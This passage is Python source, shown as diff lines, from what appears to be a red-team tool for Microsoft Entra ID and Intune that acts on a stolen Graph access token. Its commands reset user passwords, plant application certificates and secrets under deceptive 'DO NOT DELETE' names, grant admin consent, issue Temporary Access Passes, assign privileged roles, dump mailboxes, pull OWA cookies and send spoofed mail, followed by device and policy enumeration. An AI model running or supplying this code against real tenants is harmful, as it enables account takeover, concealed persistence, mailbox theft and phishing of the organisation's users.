#print_green(f"[*] Found {len(groups_with_members)} security groups\n") - for group in groups_with_members: - print(f"Group Name: {group['GroupName']}") - print(f"Group ID: {group['GroupId']}") - print("Members:") - for member in group['Members']: - print(f" - {member}") - print() - else: - print_red("[-] No security groups found") - print("=" * 80) - - # update-userpassword - elif args.command and args.command.lower() == "update-userpassword": - if not args.id: - print_red("[-] Error: --id required for Update-UserPassword command") - return - - print_yellow("\n[*] Update-UserPassword") - print("=" * 80) - api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}" - - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {access_token}', - 'Content-Type': 'application/json', - 'User-Agent': user_agent - } - - json_body = { - "passwordProfile": { - "forceChangePasswordNextSignIn": False, - "password": "NewUserSecret@Pass!" - } - } - - response = requests.patch(api_url, headers=headers, data=json.dumps(json_body)) - if response.ok: - print_green("[+] User password profile updated") - - else: - print_red(f"[-] Failed to update user password: {response.status_code}") - print_red(response.text) - print("=" * 80) - - # update-userproperties - elif args.command and args.command.lower() == "update-userproperties": - if not args.id: - print_red("[-] Error: --id required for Update-UserProperties command") - return - - print_yellow("\n[*] Update-UserProperties") - print("=" * 80) - api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}" - - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {access_token}', - 'Content-Type': 'application/json', - 'User-Agent': user_agent - } - - print("\033[34m[>] Property Definitions: https://learn.microsoft.com/en-us/graph/api/user-update\033[0m") - - try: - userproperty = input("\nEnter Property: ").strip() - if userproperty not in properties: - print_red(f"\n[-] Error: '{userproperty}' is not a valid property.") - print("=" * 80) - sys.exit() - newvalue = input(f"Enter New '{userproperty}' Value: ").strip() - except KeyboardInterrupt: - sys.exit() - - json_body = { - userproperty : newvalue - } - - response = requests.patch(api_url, headers=headers, data=json.dumps(json_body)) - if response.ok: - print_green("\n[+] User properties updated successfully") - - else: - print_red(f"\n[-] Failed to update user properties: {response.status_code}") - print_red(response.text) - print("=" * 80) - - # add-applicationcertificate - elif args.command and args.command.lower() == "add-applicationcertificate": - openssl = """ -Generate Certificate: -openssl genrsa -out private.key 2048 -openssl req -new -key private.key -out request.csr -openssl x509 -req -days 365 -in request.csr -signkey private.key -out certificate.crt -openssl pkcs12 -export -out certificate.pfx -inkey private.key -in certificate.crt - """ - if not args.id or not args.cert: - print_red("[-] Error: --id and --cert required for Add-ApplicationCertificate command") - print_red(openssl) - return - - def read_and_encode_cert(cert_path): - try: - if not os.path.isfile(cert_path): - print_red(f"[-] The certificate file '{cert_path}' does not exist.") - with open(cert_path, 'rb') as cert_file: - encoded_cert = cert_file.read() - return encoded_cert - except Exception as e: - sys.exit(1) - - encoded_cert = read_and_encode_cert(args.cert) - - print_yellow("\n[*] Add-ApplicationCertificate") - print("=" * 80) - - # 1. Find existing certs so we don't remove them in the patch req - api_url = f"https://graph.microsoft.com/v1.0/applications/{args.id}" - - user_agent = get_user_agent(args) - headers = { - 'Authorization': 'Bearer ' + access_token, - 'Content-Type':'application/json', - 'User-Agent': user_agent - } - - response = requests.get(api_url, headers=headers) - - if response.status_code == 200: - applications = response.json() - key_credentials = applications.get('keyCredentials', []) - else: - print_red(f"[-] Error obtaining existing certificates {response.status_code}") - print_red(response.text) - - # 2. patch app added our cert to the existing - api_url = f"https://graph.microsoft.com/v1.0/applications/{args.id}" - - try: - displayname = input("\nEnter Certificate Display Name: ").strip() - if not displayname: - displayname = "DevOps Certificate - DO NOT DELETE" - except KeyboardInterrupt: - sys.exit() - - new_key_credential = { - "type": "AsymmetricX509Cert", - "usage": "Verify", - "key": encoded_cert, - "displayName": displayname - } - key_credentials.append(new_key_credential) - - data = { - "keyCredentials": key_credentials - } - - response = requests.patch(api_url, headers=headers, data=json.dumps(data)) - if response.ok: - print_green("\n[+] Successfully added application certificate") - else: - print_red(f"\n[-] Failed to add certificate: {response.status_code}") - print_red(response.text) - print("=" * 80) - - # add-applicationpassword - elif args.command and args.command.lower() == "add-applicationpassword": - if not args.id: - print_red("[-] Error: --id required for Add-ApplicationPassword command") - return - - print_yellow("\n[*] Add-ApplicationPassword") - print("=" * 80) - api_url = f"https://graph.microsoft.com/v1.0/applications/{args.id}" - - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {access_token}', - 'Content-Type': 'application/json', - 'User-Agent': user_agent - } - - current_time_utc = datetime.now(timezone.utc) - six_months_later = current_time_utc + timedelta(days=6*30) - formatted_date = six_months_later.strftime("%Y-%m-%dT%H:%M:%SZ") - json_body = {"displayName":"Added by Azure Service Bus - DO NOT DELETE", "endDateTime": formatted_date} - - response = requests.post(api_url, headers=headers, data=json.dumps(json_body)) - if response.ok: - response_body = response.json() - - for key, value in response_body.items(): - if not key.startswith("@odata.context"): - pretty_value = json.dumps(value, indent=4) - if key == "secretText": - print_green(f"{key}: {pretty_value}") - else: - print(f"{key}: {pretty_value}") - - else: - print_red(f"[-] Failed to add password: {response.status_code}") - print_red(response.text) - print("=" * 80) - - - # add-applicationpermission - elif args.command and args.command.lower() == "add-applicationpermission": - if not args.id: - print_red("[-] Error: --id required for Add-ApplicationPermission command") - return - print_yellow("\n[*] Add-ApplicationPermission") - print("=" * 80) - - # 1. check existing permissions - api_url = f"https://graph.microsoft.com/beta/myorganization/applications(appId='{args.id}')" # app id - #api_url = f"https://graph.microsoft.com/v1.0/applications/{args.id}" # object id - - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {access_token}', - 'User-Agent': user_agent - } - response = requests.get(api_url, headers=headers) - existingperms = [] - if response.status_code == 200: - response_json = response.json() - existingperms = response_json.get('requiredResourceAccess', []) - - # 2. patch perms - api_url = f"https://graph.microsoft.com/beta/myorganization/applications(appId='{args.id}')" # app id - #api_url = f"https://graph.microsoft.com/v1.0/myorganization/applications/{args.id}" # object id - - print("\033[34m[>] API Permissions: https://learn.microsoft.com/en-us/graph/permissions-reference\033[0m") - - # permission id validation - def parse_permissionid(content): - soup = BeautifulSoup(content, 'html.parser') - permissions = {} - for h3 in soup.find_all('h3'): - permission_name = h3.get_text() - table = h3.find_next('table') - rows = table.find_all('tr') - application_id = rows[1].find_all('td')[1].get_text() - delegated_id = rows[1].find_all('td')[2].get_text() - application_consent = rows[4].find_all('td')[1].get_text() if len(rows) > 4 else "Unknown" - delegated_consent = rows[4].find_all('td')[2].get_text() if len(rows) > 4 else "Unknown" - permissions[application_id] = ('Application', permission_name, application_consent) - permissions[delegated_id] = ('Delegated', permission_name, delegated_consent) - return permissions - - script_dir = os.path.dirname(os.path.abspath(__file__)) - file_path = os.path.join(script_dir, '.github', 'graphpermissions.txt') - - try: - with open(file_path, 'r') as file: - content = file.read() - except FileNotFoundError: - print_red(f"\n[-] The file {file_path} does not exist.") - sys.exit(1) - except Exception as e: - print_red(f"\n[-] An error occurred: {e}") - sys.exit(1) - - permissions = parse_permissionid(content) - - try: - permissionid = input("\nEnter API Permission ID: ").strip() - if permissionid not in permissions: - print_red("\n[-] Invalid permission ID. Not in graphpermissions.txt") - sys.exit(1) - - permission_info = permissions[permissionid] - if len(permission_info) == 3: - permission_type, permission_name, admin_consent_required = permission_info - else: - permission_type, permission_name = permission_info - admin_consent_required = "Unknown" - - print(f"\nPermission ID: {permissionid} corresponds to '{permission_name}' with type '{permission_type}'") - - # grant admin consent option - print(f"Admin Consent Required: {admin_consent_required}") - if admin_consent_required.lower() == 'yes': - grantadminconsent = input(f"\nGrant Admin Consent For: {permission_name}? (yes/no): ").strip().lower() - else: - pass - grantadminconsent = 'no' - - except KeyboardInterrupt: - sys.exit(1) - - if permission_type.lower() == "application": - typevalue = "Role" - elif permission_type.lower() == "delegated": - typevalue = "Scope" - else: - print_red("\n[-] Unexpected error") - print("=" * 80) - sys.exit() - - graphresource = next((resource for resource in existingperms if resource['resourceAppId'] == '00000003-0000-0000-c000-000000000000'), None) # does Microsoft Graph resource already exist - - if graphresource: - graphresource['resourceAccess'].append({ - "id": permissionid, - "type": typevalue - }) - else: - existingperms.append({ - "resourceAppId": "00000003-0000-0000-c000-000000000000", - "resourceAccess": [ - { - "id": permissionid, # b633e1c5-b582-4048-a93e-9f11b44c7e96 -> Mail.Send (Application perm - admin consent required) - "type": typevalue - } - ] - }) - - # assign perm json - data = { - "requiredResourceAccess": existingperms - } - - clientAppId = args.id - - # admin consent json - admin_data = { - "clientAppId": clientAppId, - "onBehalfOfAll": True, - "checkOnly": False, - "tags": [], - "constrainToRra": True, - "dynamicPermissions": [ - { - "appIdentifier": "00000003-0000-0000-c000-000000000000", - "appRoles": [permission_name], - "scopes": [] - } - ] - } - - response = requests.patch(api_url, headers=headers, json=data) - if grantadminconsent == "no": - if response.ok: - print_green("\n[+] Application permissions updated successfully") - print("=" * 80) - sys.exit() - else: - print_red(f"\n[-] Failed to update application permissions: {response.status_code}") - print_red(response.text) - print("=" * 80) - sys.exit() - - headers = { - 'Authorization': f'Bearer {access_token}', - 'User-Agent': user_agent, - 'Content-Type': 'application/json', - } - - # any failures granting admin consent likely due to token scope/perms - if grantadminconsent == "yes": - if response.ok: - print_green("\n[+] Application permissions updated successfully") - - print() - custom_bar = '╢{bar:50}╟' - for _ in tqdm(range(5), bar_format='{l_bar}'+custom_bar+'{r_bar}', leave=False, colour='yellow'): - time.sleep(1) - - granturl = "https://graph.microsoft.com/beta/directory/consentToApp" - grantreq = requests.post(granturl, headers=headers, json=admin_data) - - if grantreq.ok: - print_green(f"[+] Admin consent granted for: '{permission_name}'") - else: - print_red(f"\n[-] Failed to grant admin consent: {grantreq.status_code}") - print_red(grantreq.text) - print("=" * 80) - - # grant-appadminconsent - elif args.command and args.command.lower() == "grant-appadminconsent": - if not args.id: - print_red("[-] Error: --id required for Grant-AppAdminConsent command") - return - - print_yellow("\n[*] Grant-AppAdminConsent") - print("=" * 80) - clientAppId = args.id - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {access_token}', - 'User-Agent': user_agent, - 'Content-Type': 'application/json', - } - - script_dir = os.path.dirname(os.path.abspath(__file__)) - file_path = os.path.join(script_dir, '.github', 'graphpermissions.txt') - try: - with open(file_path, 'r') as file: - content = file.read() - except FileNotFoundError: - print_red(f"\n[-] The file {file_path} does not exist.") - sys.exit(1) - except Exception as e: - print_red(f"\n[-] An error occurred: {e}") - sys.exit(1) - - try: - permission_names = input("\nEnter Permission Names (comma-separated): ").strip().split(',') - permission_names = [name.strip() for name in permission_names] - except KeyboardInterrupt: - sys.exit() - - invalid_permissions = [name for name in permission_names if name not in content] - if invalid_permissions: - print_red(f"\n[-] Invalid Graph permissions: {', '.join(invalid_permissions)}") - print("=" * 80) - sys.exit() - - admin_data = { - "clientAppId": clientAppId, - "onBehalfOfAll": True, - "checkOnly": False, - "tags": [], - "constrainToRra": True, - "dynamicPermissions": [ - { - "appIdentifier": "00000003-0000-0000-c000-000000000000", - "appRoles": permission_names, - "scopes": [] - } - ] - } - - url = "https://graph.microsoft.com/beta/directory/consentToApp" - request = requests.post(url, headers=headers, json=admin_data) - - if request.ok: - print_green(f"\n[+] Admin consent granted for: '{', '.join(permission_names)}'") - else: - print_red(f"\n[-] Failed to grant admin consent: {request.status_code}") - print_red(request.text) - print("=" * 80) - - # add-userTAP - elif args.command and args.command.lower() == "add-usertap": - if not args.id: - - print_red("[-] Error: --id required for Add-UserTAP command") - return - - print_yellow("\n[*] Add-UserTAP") - print("=" * 80) - api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}/authentication/temporaryAccessPassMethods" - - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {access_token}', - 'Content-Type': 'application/json', - 'User-Agent': user_agent - } - - current_time_utc = datetime.now(timezone.utc) - one_hour_later = current_time_utc + timedelta(minutes=60) - formatted_date = one_hour_later.strftime("%Y-%m-%dT%H:%M:%SZ") - - json_body = { - "properties": { - "isUsableOnce": True, - "startDateTime": formatted_date - } - } - - response = requests.post(api_url, headers=headers, data=json.dumps(json_body)) - if response.ok: - response_body = response.json() - - for key, value in response_body.items(): - if not key.startswith("@odata.context"): - pretty_value = json.dumps(value, indent=4) - print(f"{key}: {pretty_value}") - - url = response_body.get("@odata.nextLink") - if url: - response = requests.get(url, headers=headers) - response.raise_for_status() - response_body = response.json() - else: - print_red(f"[-] Failed to add TAP: {response.status_code}") - print_red(response.text) - print("=" * 80) - - # add-groupmember - elif args.command and args.command.lower() == "add-groupmember": - if not args.id: - print_red("[-] Error: --id groupid,objectid required for Add-GroupMember command") - return - - ids = args.id.split(',') - if len(ids) != 2: - print_red("[-] Please provide two IDs separated by a comma (group ID, object ID).") - return - - group_id, member_id = ids[0].strip(), ids[1].strip() - - print_yellow("\n[*] Add-GroupMember") - print("=" * 80) - api_url = f"https://graph.microsoft.com/v1.0/groups/{group_id}/members/$ref" - - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {access_token}', - 'Content-Type': 'application/json', - 'User-Agent': user_agent - } - - json_body = { - "@odata.id": f"https://graph.microsoft.com/v1.0/directoryObjects/{member_id}" - } - - response = requests.post(api_url, headers=headers, data=json.dumps(json_body)) - if response.ok: - print_green("[+] User added to group") - else: - print_red(f"[-] Failed to add group member: {response.status_code}") - print_red(response.text) - print("=" * 80) - - # create-application - elif args.command and args.command.lower() == "create-application": - - print_yellow("\n[*] Create-Application") - print("=" * 80) - api_url = f"https://graph.microsoft.com/v1.0/applications" - - try: - appname = input("\nEnter App Name: ").strip() - except KeyboardInterrupt: - sys.exit() - - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {access_token}', - 'Content-Type': 'application/json', - 'User-Agent': user_agent - } - - json_body = {"displayName": appname} - - response = requests.post(api_url, headers=headers, data=json.dumps(json_body)) - if response.ok: - print_green("\n[+] Application created\n") - response_body = response.json() - - for key, value in response_body.items(): - if not key.startswith("@odata.context"): - pretty_value = json.dumps(value, indent=4) - print(f"{key}: {pretty_value}") - - else: - print_red(f"[-] Failed to create application: {response.status_code}") - print_red(response.text) - print("=" * 80) - - # create-newuser - elif args.command and args.command.lower() == "create-newuser": - - print_yellow("\n[*] Create-NewUser") - print("=" * 80) - try: - display_name = input("\nEnter Display Name: ").strip() - mail_nickname = input("Enter Mail Nickname: ").strip() - user_principal_name = input("Enter User Principal Name: ").strip() - password = input("Enter Password: ").strip() - except KeyboardInterrupt: - sys.exit() - - api_url = f"https://graph.microsoft.com/v1.0/users/" - - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {access_token}', - 'Content-Type': 'application/json', - 'User-Agent': user_agent - } - - json_body = { - "accountEnabled": True, - "displayName": display_name, - "mailNickname": mail_nickname, - "userPrincipalName": user_principal_name, - "passwordProfile": { - "forceChangePasswordNextSignIn": True, - "password": password - } - } - - response = requests.post(api_url, headers=headers, data=json.dumps(json_body)) - if response.ok: - print_green("\n[+] New user created\n") - response_body = response.json() - - for key, value in response_body.items(): - if not key.startswith("@odata.context"): - pretty_value = json.dumps(value, indent=4) - print(f"{key}: {pretty_value}") - - else: - print_red(f"[-] Failed to create new user: {response.status_code}") - print_red(response.text) - print("=" * 80) - - # invite-guestuser - elif args.command and args.command.lower() == "invite-guestuser": - if not args.tenant: - print_red("[-] Error: --tenant required for Invite-GuestUser command") - return - - print_yellow("\n[*] Invite-GuestUser") - print("=" * 80) - try: - email = input("\nEnter Email Address: ").strip() - displayname = input("Enter Display Name: ").strip() - redirecturl = input("Enter Invite Redirect URL (leave blank for default): ").strip() # https://myapplications.microsoft.com/?tenantid=... - sendinvitationmessage = input("Send Email Invitation? (true/false): ").strip().lower() - custommessage = input("Custom Message Body: ").strip() - except KeyboardInterrupt: - sys.exit() - - if redirecturl == "": - redirecturl = f"https://myapplications.microsoft.com/?tenantid={args.tenant}" - - api_url = f"https://graph.microsoft.com/v1.0/invitations" - - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {access_token}', - 'Content-Type': 'application/json', - 'User-Agent': user_agent - } - - json_body = { - "invitedUserEmailAddress": email, - "invitedUserDisplayName": displayname, - "inviteRedirectUrl": redirecturl, - "sendInvitationMessage": sendinvitationmessage, - "invitedUserMessageInfo": { - "customizedMessageBody": custommessage - } - } - - response = requests.post(api_url, headers=headers, data=json.dumps(json_body)) - if response.ok: - print_green("\n[+] Guest user invited\n") - response_body = response.json() - - for key, value in response_body.items(): - if not key.startswith("@odata.context"): - pretty_value = json.dumps(value, indent=4) - print(f"{key}: {pretty_value}") - - else: - print_red(f"[-] Failed to invite guest user: {response.status_code}") - print_red(response.text) - print("=" * 80) - - - # assign-privilegedrole - elif args.command and args.command.lower() == "assign-privilegedrole": - - print_yellow("\n[*] Assign-PrivilegedRole") - print("=" * 80) - table = [[role["displayName"], role["roleTemplateId"], role["description"]] for role in roles] - separator = ['-' * 20, '-' * 20, '-' * 20] - print(tabulate([["Display Name", "Role Template ID", "Description"]] + [separator] + table, headers="firstrow", tablefmt="plain", colalign=("left", "left", "left"))) - - try: - roleid = input("\nEnter Role Template ID: ").strip() - objectid = input("Enter Object ID (user/group id): ").strip() - scopeid = input("Enter Scope ID (enter '/' for tenant wide): ").strip() # e.g. "/administrativeUnits/5d107bba-d8e2-4e13-b6ae-884be90e5d1a" or / for tenant wide scope - except KeyboardInterrupt: - sys.exit() - - api_url = f"https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments" - - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {access_token}', - 'Content-Type': 'application/json', - 'User-Agent': user_agent - } - - json_body = { - "@odata.type": "#microsoft.graph.unifiedRoleAssignment", - "roleDefinitionId": roleid, - "principalId": objectid, - "directoryScopeId": scopeid - } - - response = requests.post(api_url, headers=headers, data=json.dumps(json_body)) - if response.ok: - print_green("\n[+] Role assigned\n") - response_body = response.json() - - for key, value in response_body.items(): - if not key.startswith("@odata.context"): - pretty_value = json.dumps(value, indent=4) - print(f"{key}: {pretty_value}") - - else: - print_red(f"[-] Failed to assign role: {response.status_code}") - print_red(response.text) - print("=" * 80) - - # open-owamailboxinbrowser - elif args.command and args.command.lower() == "open-owamailboxinbrowser": - print_yellow("\n[*] Open-OWAMailboxInBrowser") - print("=" * 80) - - user_agent = get_user_agent(args) - headers = { - "Authorization": f"Bearer {access_token}", - "User-Agent": user_agent - } - - if args.only_return_cookies: - try: - response = requests.get("https://substrate.office.com/owa/", headers=headers, allow_redirects=False) - print_green("[+] Cookies:") - print(response.headers.get('Set-Cookie')) - except requests.RequestException as e: - print_red(f"[-] Error making request: {str(e)}") - else: - print("To open the OWA mailbox in a browser using a Substrate Access Token:") - print("1. Open a new BurpSuite Repeater tab & set the Target to 'https://substrate.office.com'") - print("2. Paste the below request into Repeater & Send") - print("3. Right click the response > 'Show response in browser', then open the response in Burp's embedded browser") - print("4. Refresh the page to access the mailbox") - print() - print("GET /owa/ HTTP/1.1") - print(f"Host: substrate.office.com") - print(f"Authorization: Bearer {args.token}") - print() - print("=" * 80) - - # dump-owamailbox - elif args.command and args.command.lower() == "dump-owamailbox": - if not args.mail_folder: - print_red("[-] Mail folder --mail-folder is required for this command.") - return - - if args.id: - base_url = f"https://graph.microsoft.com/v1.0/users/{args.id}/mailFolders/{args.mail_folder}/messages" - else: - base_url = f"https://graph.microsoft.com/v1.0/me/mailFolders/{args.mail_folder}/messages" - - query_params = [] - if args.select: - query_params.append(f"$select={args.select}") - - if args.top: - query_params.append(f"$top={args.top}") - - if query_params: - api_url = f"{base_url}?" + "&".join(query_params) - else: - api_url = base_url - - max_results = 400 - - print_yellow("\n[*] Dump-OWAMailbox") - print("=" * 80) - user_agent = get_user_agent(args) - headers = { - "Authorization": f"Bearer {access_token}", - "User-Agent": user_agent - } - - try: - response = requests.get(api_url, headers=headers) - response.raise_for_status() - response_body = response.json() - - filtered_data = {key: value for key, value in response_body.items() if not key.startswith("@odata")} - - if filtered_data: - if not filtered_data.get('value'): - print_red("[-] No data found") - return - - email_count = 1 - for d in filtered_data.get('value', []): - print_green(f"Email {email_count}") - print_green("="*80) - for key, value in d.items(): - print(f"{key} : {value}") - print("\n") - email_count += 1 - - url = response_body.get("@odata.nextLink") - if url: - response = requests.get(url, headers=headers) - response.raise_for_status() - response_body = response.json() - - except requests.RequestException as e: - print_red(f"[-] Error making request: {str(e)}") - - print("=" * 80) - - # spoof-owaemailmessage - elif args.command and args.command.lower() == "spoof-owaemailmessage": - if not args.email: - print_red("[-] Error: --email argument is required for Spoof-OWAEmailMessage command") - return - - print_yellow("\n[*] Spoof-OWAEmailMessage") - print("=" * 80) - api_url = "https://graph.microsoft.com/v1.0/me/sendMail" - - if args.id: - api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}/sendMail" - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {access_token}', - 'Content-Type': 'application/json', - 'User-Agent': user_agent - } - - try: - subject = input("\nEnter Subject: ").strip() - torecipients = input("Enter toRecipients (comma-separated): ").strip() - ccrecipients = input("Enter ccRecipients (comma-separated): ").strip() - savetf = input("Save To Sent Items (true/false): ").strip().lower() == 'false' # default - except KeyboardInterrupt: - sys.exit() - - to_recipients = [{"emailAddress": {"address": email.strip()}} for email in torecipients.split(',') if email.strip()] - cc_recipients = [{"emailAddress": {"address": email.strip()}} for email in ccrecipients.split(',') if email.strip()] - - content = read_file_content(args.email) - - json_body = { - "message": { - "subject": subject, - "body": { - "contentType": "Text", - "content": content - }, - "toRecipients": to_recipients, - "ccRecipients": cc_recipients - }, - "saveToSentItems": savetf - } - - # Add attachment option - check what other files are supported... - # "attachments": [ - # { - # "@odata.type": "#microsoft.graph.fileAttachment", - # "name": "attachment.txt", - # "contentType": "text/plain", - # "contentBytes": "SGVsbG8gV29ybGQh" - # } - # ] - - response = requests.post(api_url, headers=headers, json=json_body) - if response.ok: - print_green("\n[+] Email sent successfully") - - else: - print_red(f"\n[-] Failed to send OWA email message: {response.status_code}") - print_red(response.text) - print("=" * 80) - - - ################################ - # Post-Auth Intune Enumeration # - ################################ - - # get-manageddevices - if args.command and args.command.lower() == "get-manageddevices": - print_yellow("\n[*] Get-ManagedDevices") - print("=" * 80) - api_url = "https://graph.microsoft.com/v1.0/deviceManagement/managedDevices" - - if args.select: - api_url += "?$select=" + args.select - - graph_api_get(access_token, api_url, args) - print("=" * 80) - - # get-userdevices - elif args.command and args.command.lower() == "get-userdevices": - if not args.id: - print_red("[-] Error: --id argument is required for Get-UserDevices command") - return - - print_yellow("\n[*] Get-UserDevices") - print("=" * 80) - api_url = f"https://graph.microsoft.com/v1.0/deviceManagement/managedDevices?$filter=userPrincipalName eq '{args.id}'" - - if args.select: - api_url += "&$select=" + args.select - - graph_api_get(access_token, api_url, args) - print("=" * 80) - - # get-caps - elif args.command and args.command.lower() == "get-caps": - print_yellow("\n[*] Get-CAPs") - print("=" * 80) - api_url = "https://graph.microsoft.com//beta/identity/conditionalAccess/policies" - - if args.select: - api_url += "?$select=" + args.select - - graph_api_get(access_token, api_url, args) - print("=" * 80) - - # get-devicecategories - elif args.command and args.command.lower() == "get-devicecategories": - print_yellow("\n[*] Get-DeviceCategories") - print("=" * 80) - api_url = "https://graph.microsoft.com/v1.0/deviceManagement/deviceCategories" - - if args.select: - api_url += "?$select=" + args.select - - graph_api_get(access_token, api_url, args) - print("=" * 80) - - # get-devicecompliancesummary - elif args.command and args.command.lower() == "get-devicecompliancesummary": - print_yellow("\n[*] Get-DeviceComplianceSummary") - print("=" * 80) - api_url = "https://graph.microsoft.com/v1.0/deviceManagement/deviceCompliancePolicyDeviceStateSummary" - - if args.select: - api_url += "?$select=" + args.select - - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {access_token}', - 'User-Agent': user_agent - } - response = requests.get(api_url, headers=headers) - - if response.ok: - response_body = response.json() - for key, value in response_body.items(): - if not key.startswith("@odata.context"): - pretty_value = json.dumps(value, indent=4) - print(f"{key}: {pretty_value}") - else: - print_red(f"[-] Failed to retrieve settings: {response.status_code}") - print_red(response.text) - print("=" * 80) - - # get-deviceconfigurations - elif args.command and args.command.lower() == "get-deviceconfigurations": - print_yellow("\n[*] Get-DeviceConfigurations") - print("=" * 80) - api_url = "https://graph.microsoft.com/v1.0/deviceManagement/deviceConfigurations" - - if args.select: - api_url += "?$select=" + args.select - - graph_api_get(access_token, api_url, args) - print("=" * 80) - - # get-deviceconfigurationpolicies - elif args.command and args.command.lower() == "get-deviceconfigurationpolicies": - print_yellow("\n[*] Get-DeviceConfigurationPolicies") - print("=" * 80) - api_url = "https://graph.microsoft.com/beta/deviceManagement/configurationPolicies" - if args.select: - api_url += "?$select=" + args.select - - user_agent = get_user_agent(args) - headers = { - 'Authorization': 'Bearer ' + access_token, - 'Accept': 'application/json', - 'User-Agent': user_agent - } - - response = requests.get(api_url, headers=headers) - - if response.status_code == 200: - policies = response.json() - else: - print_red(f"[-] Error: API request failed with status code {response.status_code}") - policies = None - print("=" * 80) - - if policies and 'value' in policies: - for policy in policies['value']: - for key, value in policy.items(): - print(f"{key} : {value}") - - if 'templateReference' in policy and 'templateDisplayName' in policy['templateReference']: - print(f"template: {policy['templateReference']['templateDisplayName']}") - - # display assignments for each policy - policy_id = policy.get('id') - if policy_id: - assignments_api_url = f"https://graph.microsoft.com/beta/deviceManagement/configurationPolicies('{policy_id}')/assignments" - assignments_response = requests.get(assignments_api_url, headers=headers) - - if assignments_response.status_code == 200: - assignments = assignments_response.json() - if not assignments.get('value'): - print_red("assignments: None") - else: - print_green("assignments:") - for assignment in assignments.get('value', []): - if 'target' in assignment: - target = assignment['target'] - odata_type = target.get('@odata.type', '').split('.')[-1] - if odata_type == 'exclusionGroupAssignmentTarget': - group_id = target.get('groupId', 'N/A') - print(f"- Excluded Group ID: {group_id}") - elif odata_type == 'allLicensedUsersAssignmentTarget': - print("- Assigned to all users") - elif odata_type == 'allDevicesAssignmentTarget': - print("- Assigned to all devices") - elif odata_type == 'groupAssignmentTarget': - group_id = target.get('groupId', 'N/A') - print(f"- Assigned to Group ID: {group_id}") - else: - print(f"- {odata_type}: {target}") - else: - print_red(f"[-] Error: API request for assignments failed with status code {assignments_response.status_code}") - print("\n") - print("=" * 80) - - # get-deviceconfigurationpolicysettings - elif args.command and args.command.lower() == "get-deviceconfigurationpolicysettings": - if not args.id: - print_red("[-] Error: --id argument is required for Get-DeviceConfigurationPolicySettings command") - return - - print_yellow("\n[*] Get-DeviceConfigurationPolicySettings") - print("=" * 80) - api_url = f"https://graph.microsoft.com/beta/deviceManagement/configurationPolicies('{args.id}')/settings?expand=settingDefinitions" - - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {access_token}', - 'User-Agent': user_agent - } - - response = requests.get(api_url, headers=headers) - - if response.ok: - response_body = response.json() - for key, value in response_body.items(): - if not key.startswith("@odata.context"): - pretty_value = json.dumps(value, indent=4) - print(f"{key}: {pretty_value}") - else: - print_red(f"[-] Failed to retrieve settings: {response.status_code}") - print_red(response.text) - print("=" * 80) - - # get-deviceenrollmentconfigurations - elif args.command and args.command.lower() == "get-deviceenrollmentconfigurations": - print_yellow("\n[*] Get-DeviceEnrollmentConfigurations") - print("=" * 80) - api_url = "https://graph.microsoft.com/v1.0/deviceManagement/deviceEnrollmentConfigurations" - - if args.select: - api_url += "?$select=" + args.select - - graph_api_get(access_token, api_url, args) - print("=" * 80) - - # get-devicegrouppolicyconfigurations - elif args.command and args.command.lower() == "get-devicegrouppolicyconfigurations": - print_yellow("\n[*] Get-DeviceGroupPolicyConfigurations") - print("=" * 80) - api_url = "https://graph.microsoft.com/beta/deviceManagement/groupPolicyConfigurations" - - if args.select: - api_url += "?$select=" + args.select - - user_agent = get_user_agent(args) - headers = { - 'Authorization': 'Bearer ' + access_token, - 'Accept': 'application/json', - 'User-Agent': user_agent - } - - response = requests.get(api_url, headers=headers) - - if response.status_code == 200: - group_policies = response.json() - else: - print_red(f"[-] Error: API request failed with status code {response.status_code}") - group_policies = None - - if group_policies and 'value' in group_policies: - for policy in group_policies['value']: - # group policy details - for key, value in policy.items(): - print(f"{key} : {value}") - - # display assignments for the group policy - policy_id = policy.get('id') - if policy_id: - assignments_api_url = f"https://graph.microsoft.com/beta/deviceManagement/groupPolicyConfigurations/{policy_id}/assignments" - assignments_response = requests.get(assignments_api_url, headers=headers) - - if assignments_response.status_code == 200: - assignments = assignments_response.json() - if not assignments.get('value'): - print_red("assignmentTarget: No assignments") - else: - for assignment in assignments.get('value', []): - if 'target' in assignment: - print_green(f"assignmentTarget : {assignment['target']}") - else: - print_red("assignmentTarget: No assignments") - else: - print_red(f"[-] Error: API request for assignments failed with status code {assignments_response.status_code}") - print("\n") - print("=" * 80) - - # get-devicegrouppolicydefinition - elif args.command and args.command.lower() == "get-devicegrouppolicydefinition": - if not args.id: - print_red("[-] Error: --id argument is required for Get-DeviceGroupPolicyDefinition command") - return - - print_yellow("\n[*] Get-DeviceGroupPolicyDefinition") - print("=" * 80) - api_url = f"https://graph.microsoft.com//beta/deviceManagement/groupPolicyConfigurations('{args.id}')/definitionValues?$expand=definition($select=id,classType,displayName,policyType,hasRelatedDefinitions,version,minUserCspVersion,minDeviceCspVersion)" - - if args.select: - api_url += "?$select=" + args.select - - graph_api_get(access_token, api_url, args) - print("=" * 80) - - # get-roledefinitions - elif args.command and args.command.lower() == "get-roledefinitions": - print_yellow("\n[*] Get-RoleDefinitions") - print("=" * 80) - api_url = "https://graph.microsoft.com/v1.0/deviceManagement/roleDefinitions" - - if args.select: - api_url += "?$select=" + args.select - - graph_api_get(access_token, api_url, args) - print("=" * 80) - - # get-roleassignments - elif args.command and args.command.lower() == "get-roleassignments": - print_yellow("\n[*] Get-RoleAssignments") - print("=" * 80) - api_url = "https://graph.microsoft.com/v1.0/deviceManagement/roleAssignments" - - if args.select: - api_url += "?$select=" + args.select - - 